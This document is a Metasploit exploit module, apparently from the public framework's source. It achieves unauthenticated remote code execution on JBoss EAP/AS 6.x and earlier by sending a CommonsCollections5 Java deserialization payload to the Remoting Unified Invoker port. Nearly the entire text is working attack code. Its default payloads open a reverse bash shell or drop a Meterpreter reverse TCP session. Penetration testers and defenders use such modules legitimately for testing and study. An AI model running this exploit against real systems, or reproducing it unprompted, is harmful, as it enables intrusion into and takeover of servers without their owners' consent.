An unauthenticated attacker with network access to the JBOSS EAP/AS versions 6.x and below Remoting Unified Invoker interface can send a serialized object to the interface to execute code on vulnerable hosts.
4bfb5f55643ee08ae8c9999d9fa55d6d1af99c180f30e402f0089770ca5d6712##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::CmdStager
include Msf::Exploit::JavaDeserialization
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'JBOSS EAP/AS Remoting Unified Invoker RCE',
'Description' => %q{
An unauthenticated attacker with network access to the JBOSS
EAP/AS <= 6.x Remoting Unified Invoker interface can send a
serialized object to the interface to execute code on vulnerable hosts.
},
'Author' => [
'Joao Matos <@joaomatosf>', # Discovery
'Marcio Almeida <@marcioalm>', # PoC
'Heyder Andrade <@HeyderAndrade>' # msf module
],
'References' => [
[ 'URL', 'https://s3.amazonaws.com/files.joaomatosf.com/slides/alligator_slides.pdf']
],
'DisclosureDate' => '2019-12-11',
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Privileged' => false,
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash'
}
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper,
'CmdStagerFlavor' => [ 'printf' ],
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
}
}
]
],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options([
Opt::RPORT(4446)
])
end
def handshake_data
# MAGIC BYTES JAVA SERIALIZATION OBJECT HEADER
# AC ED: STREAM_MAGIC. Specifies that this is a serialization protocol.
# 00 05: STREAM_VERSION. The serialization version.
['aced0005'].pack('H*')
end
def check
connect
sock.put(handshake_data)
data = sock.get_once(16)
disconnect
return Exploit::CheckCode::Appears if data == handshake_data
return Exploit::CheckCode::Safe
rescue Rex::ConnectionError, Errno::ECONNRESET, ::EOFError => e
print_error("Error to connect #{rhost}:#{rport} : '#{e.class}' '#{e}'")
return Exploit::CheckCode::Unknown
end
# def exploit
def execute_command(cmd, _opts = {})
java_payload = generate_java_deserialization_for_command('CommonsCollections5', 'bash', cmd)
# MAGIC BYTES JBOSS PROTOCOL:
# 0x77: TC_BLOCKDATA
# 0x01: Length of TC_BLOCKDATA
# 0x16: Protocol version 22
# 0x79: TC_RESET
magic_bytes = ['77011679'].pack('H*')
payload = magic_bytes + java_payload.byteslice(4..)
connect
sock.put(handshake_data)
sock.get_once(16)
sock.put(payload)
disconnect
print_good('Successfully sent payload')
rescue Rex::ConnectionError, Errno::ECONNRESET, ::EOFError => e
fail_with(Failure::Unreachable, e.message)
end
def exploit
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
case target['Type']
when :unix_cmd
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager
end
end
end